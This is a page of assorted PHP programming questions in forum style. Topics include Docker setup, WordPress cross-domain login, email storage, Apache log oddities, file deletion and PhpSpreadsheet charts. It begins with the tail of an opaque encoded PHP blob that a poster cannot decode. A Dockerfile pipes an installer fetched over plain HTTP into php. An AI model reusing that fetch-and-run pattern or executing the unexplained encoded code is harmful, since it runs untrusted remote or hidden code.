TppKJZqyE4DgT8/T2coze2ReBFaQfoYPmp9+R83mD6IpBkv2mEWH9RCd4FMrnuWRoSABrr7IZjOzhA6hPI+mgVlnTu9oMvAt8uNKqiVtrktYREmiRT3b8zp4Xu5goTzI5gpzBt1pr/xf"));?>

i try to decrypt with unphp.net but the output still random char

How to check a login session from another website?

I want to check login status from another domain.
All 4 Wensites are on the same hosting. Each have another domainnsme. There are 3 WordPress Websites and 1 CodeIgniter 4 Website. In CodeIgniter i have n Authentication with Shield.
In the Frontend of each WordPress Site i want to check if the user is loggedin in CodeIgniter or not. I dont want a login in WordPress.

I tried with wp_remote_get but i always get a new session. And always get status not logged in although i logged in when access directly.
I tried with Shield and JWT but i dont know how to pass a token from CodeIgniter to all 3 WordPress Pages and then how the system knows which user is which token.

How to store e-mails with PHP

I’m developing a PHP program to save all the emails received on an IMAP server. 
I plan to divide the emails into three parts: header, body, and attachments. 
Headers will be saved in a database like MySQL, attachments will be saved as text files, associated with the header’s Message-ID.
However, I’m unsure about the best way to handle the body. 
I’m also considering implementing a mechanism to search through the email body, which makes it a bit tricky. 

  • Storing directly in an RDB like MySQL:
    Isn’t it unsuitable to save large-sized data?
  • Saving as a txt file:
    Considering full-text search, it seems inefficient.

There have been similar past. But they were answered several years ago, I’m posting this with the belief that there may be new technologies available.

I’d appreciate any good ideas or suggestions you might have.

PHP Project is so slow into docker windows11

i’m very new to docker.
So i have this docker-compose.yaml

version: '3.8'
services:
  php-apache-environment:
    container_name: php-apache
    #image: php:8.0-apache
    build:
      #context: ./php
      dockerfile: Dockerfile
    depends_on:
      - db 
    volumes:
      - ./php/src:/var/www/html/ --> i think the problem is here
    ports:
      - 8000:80

  db:
    container_name: db
    image: mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: root
    ports:
      - "9906:3306"    

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8080:80 

And this dockerFile

FROM php:8.0-apache
RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli

RUN php -r "readfile('http://getcomposer.org/installer');" | php -- --install-dir=/usr/bin/ --filename=composer

RUN apt-get update && apt-get -y --no-install-recommends install git 
    && php -r "readfile('http://getcomposer.org/installer');" | php -- --install-dir=/usr/bin/ --filename=composer 
    && rm -rf /var/lib/apt/lists/*

RUN docker-php-ext-install pdo pdo_mysql   

# Install required dependency
RUN apt-get update && apt-get install -y 
    zip 
    libxml2-dev 
    libzip-dev

# Configure and install gd extension
RUN apt-get update && apt-get install -y 
    libfreetype6-dev 
    libjpeg62-turbo-dev 
    libpng-dev 
  && docker-php-ext-configure gd --with-freetype --with-jpeg 
  && docker-php-ext-install -j$(nproc) gd

# Install Postgre PDO
RUN apt-get install -y libpq-dev 
    && docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql 
    && docker-php-ext-install pdo pdo_pgsql pgsql
    
# Install zip and zml
RUN docker-php-ext-install zip xml

# Enable mod_rewrite for images with apache
RUN if command -v a2enmod >/dev/null 2>&1; then 
        a2enmod rewrite headers 
    ;fi

#Memcached Installation
RUN apt-get update && apt-get install -y libz-dev libmemcached-dev && rm -r /var/lib/apt/lists/*
RUN pecl install memcached
RUN echo extension=memcached.so >> /usr/local/etc/php/conf.d/memcached.ini

It works but my php project is very slow.
I use docker desktop on windows 11 and, after some reading i think the problem is in this line of code

volumes:
          - ./php/src:/var/www/html/ --> i think the problem is here

Because this create my project into a windows folder (eg: project/php/src/[folder with project files])

How i can solve? How i can move my project into WSL folder?

translate a specific element

How can I translate a specific element into Farsi?

<div id="new">hello</div>
<div id="new">سلام</div>

The content in that element is variable, meaning it may change.
I want all the content in it to be translated into Farsi.
Thank you.

Getting “File name too long” error on php wordpress site

I have a wordpress website running on the server. Previously, everything was working fine but from last two days I am getting weird errors in apache2 logs as you can see below:
Access Logs

[23/Feb/2024:10:39:33 +0000] "GET /index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined/each/poduct_id=4&ku=br1qpjdda92fwfm7ums.rifling HTTP/1.1" 403 286 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" "17.211.217.110"

Error Logs

[Fri Feb 23 10:42:07.266182 2024] [core:error] [pid 7961] (36)File name too long: [client 172.11.16.23:2958] AH00036: access to /index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined/each/poduct_id=088&ku=br31cygyr22f22/5s.transpirable failed (filesystem path '/var/www/html/index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined')

I have no clue how to handle this and what’s the reason for that weird url hit

Can’t delete images from folder with PHP using Unlink function

I am trying to execute a php process file, in a folder where there’s this php file and other files (can be images, text document, pdf, other code files, etc.)

I need to generate a process where detects main image formats and deletes it automatically.

I have this code:

$dirPath = '.';
$files = scandir($dirPath);  
foreach ($files as $file) {
    $filePath = $dirPath . '/' . $file;
    if (is_file($filePath)) {
        //echo $file . "<br>";
        $file_parts = explode(".", $file);
        $file_extension = $file_parts[1];
        
        $image_extensions = array( "jpg", "png", "jpeg", "tiff", "webm", "jpeg", "gif" );
        
        echo "<br />Found this file: ".$file;
        foreach($image_extensions as $i_e){
            if (strcmp($file_extension, strval($i_e)) === 0) {
                chmod ($file, 0777);
                unlink($file);
                echo 'Deleted for being an image.';
            }
        }

    }
}

But never deletes it. Files have a permissions level of 0644.
Is this a problem? Can I change permissions?
Could be another reason.

All files are in the same folder.
Why files isn’t being deleted?

Thanks in advance.

I was trying to delete all images in a folder and isn’t working.

Zelle payment method integration in laravel

does anyone knows how can we implement zelle payment method in laravel.
does zelle provide any api reference or uptill now we can integrate it?

i am trying to find refernces to implement it in my project but couldnt find it

Not able to draw bubble chart with PhpSpreadsheet

Trying to draw simple bubble chart with PhpSpreadsheet but got only the data without the chart. Here is my code:

    use PhpOfficePhpSpreadsheetSpreadsheet;
    use PhpOfficePhpSpreadsheetWriterXlsx;
    use PhpOfficePhpSpreadsheetChartChart as ExcelChart;
    use PhpOfficePhpSpreadsheetChartDataSeries;
    use PhpOfficePhpSpreadsheetChartDataSeriesValues;
    use PhpOfficePhpSpreadsheetChartLayout;
    use PhpOfficePhpSpreadsheetChartPlotArea;
    
    $spreadsheet = new Spreadsheet();
    $sheet = $spreadsheet->getActiveSheet();
    $sheet->setCellValue('A1', 'Category');
    $sheet->setCellValue('B1', 'Value 1');
    $sheet->setCellValue('C1', 'Value 2');
    $sheet->setCellValue('D1', 'Bubble Size');
        
    // Sample data
    $data = [
      ['Category 1', 10, 20, 30],
      ['Category 2', 15, 25, 40],
      ['Category 3', 20, 30, 50],
    ];
    foreach ($data as $rowIndex => $rowData) {
      $rowNumber = $rowIndex + 2;
      $sheet->setCellValue('A' . $rowNumber, $rowData[0]);
      $sheet->setCellValue('B' . $rowNumber, $rowData[1]);
      $sheet->setCellValue('C' . $rowNumber, $rowData[2]);
      $sheet->setCellValue('D' . $rowNumber, $rowData[3]);
    }
    $chart = new ExcelChart(
      'BubbleChart', // name
      null, // title
      null, // legend
      null, // xAxisLabel
      null, // yAxisLabel
      null // layout
    );
    $dataSeriesLabels = [
      new DataSeriesValues('String', 'Worksheet!$A$1', null, 1), // Category labels
    ];
    $xValues = [
      new DataSeriesValues('Number', 'Worksheet!$B$2:$B$4', null, 3), // X-axis values
    ];
    $yValues = [
      new DataSeriesValues('Number', 'Worksheet!$C$2:$C$4', null, 3), // Y-axis values
    ];
    $sizeValues = [
      new DataSeriesValues('Number', 'Worksheet!$D$2:$D$4', null, 3), // Bubble size values
    ];
     
    $dataSeries = new DataSeries(
      DataSeries::TYPE_BUBBLECHART, // plotType
      DataSeries::GROUPING_STANDARD, // plotGrouping
      range(0, count($xValues) - 1), // plotOrder
      $dataSeriesLabels, // dataSeriesLabels
      $xValues, // xValues
      $yValues, // yValues
      $sizeValues // sizeValues
    );
    
    $layout = new Layout(['layout' => 'blip', 'manualLayout' => ['w' => 300, 'h' => 200, 'x' => 0, 'y' => 0]]);
    $plotArea = new PlotArea($layout, [$dataSeries]);
    $chart->setPlotArea($plotArea);
        
    $sheet->addChart($chart);
    
    $writer = new Xlsx($spreadsheet);
    $writer->setIncludeCharts(true);
    $writer->save('php://output');
        
    exit();


Once again: The result in Excel file is: data appears but the chart is missing. What is wrong?